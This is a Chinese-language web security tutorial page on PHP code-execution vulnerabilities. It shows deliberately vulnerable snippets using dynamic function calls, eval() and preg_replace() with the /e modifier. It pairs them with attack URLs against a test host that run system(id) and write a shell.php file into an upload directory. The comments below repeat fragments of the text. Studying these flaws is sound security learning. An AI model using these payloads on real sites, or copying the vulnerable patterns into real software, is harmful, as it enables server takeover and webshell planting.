代码执行漏洞与利用
当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。
PHP eval()、assert()、preg_replace()
python exec()
Java 没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL等
1. 动态代码执行
<?php function m_print(){ echo '这是一个页面'; } $_GET['a']($_GET['b']); ?>
查看php信息
assert 可以执行php里面的一些函数比如phpinfo()
http://www.webtester.com/code/code01.php?a=assert&b=phpinfo()
http://www.webtester.com/code/code01.php?a=assert&b=system(id)
http://www.webtester.com/code/code01.php?a=assert&b=var_dump(1)
2. eval代码执行
<?php $data = isset($_GET['data'])?$_GET['data']:'这是一个eval漏洞页面'; @eval($ret = $data); echo $ret; ?>
eval可以执行php代码
http://www.webtester.com/code/code02.php?data=phpinfo(); http://www.webtester.com/code/code02.php?data=system(id);
写 shell
fputs(fopen("shell.php","a"),"<?php phpinfo();?>"); http://www.webtester.com/code/code02.php?data=fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();?>");
3. 正则代码执行
<?php $data = $_GET['data']; preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data); ?> <form> <label>请输入你的数据</label> <input type='text' name='data'/> <input type='submit' value='提交'/> </form>
<data>{${phpinfo()}}</data> http://www.webtester.com/code/code03.php?data=<data>{${phpinfo()}}</data>
下一篇:怎么从目录里getshell
相关文章
- 4条评论
- 惑心诤友2022-06-03 10:23:37
- p phpinfo();?>"); http://www.webtester.com/code/code02.php?data=fputs(fopen("../upload/shell.php","a"),"<?php phpi
- 馥妴秙暔2022-06-03 10:08:51
- /code/code01.php?a=assert&b=var_dump(1)2. eval代码执行 <?php $data = iss
- 掩吻夙世2022-06-03 01:48:36
- name='data'/> <input type='submit' value='提交'/> </form><data>{${phpinfo()}}</data>http://www.webtester
- 颜于栖迟2022-06-03 04:07:03
- r.com/code/code01.php?a=assert&b=system(id) http://www.webtester.com/code/code01.php?a=assert&b=var_dump(1)2. eval代码执行 <?php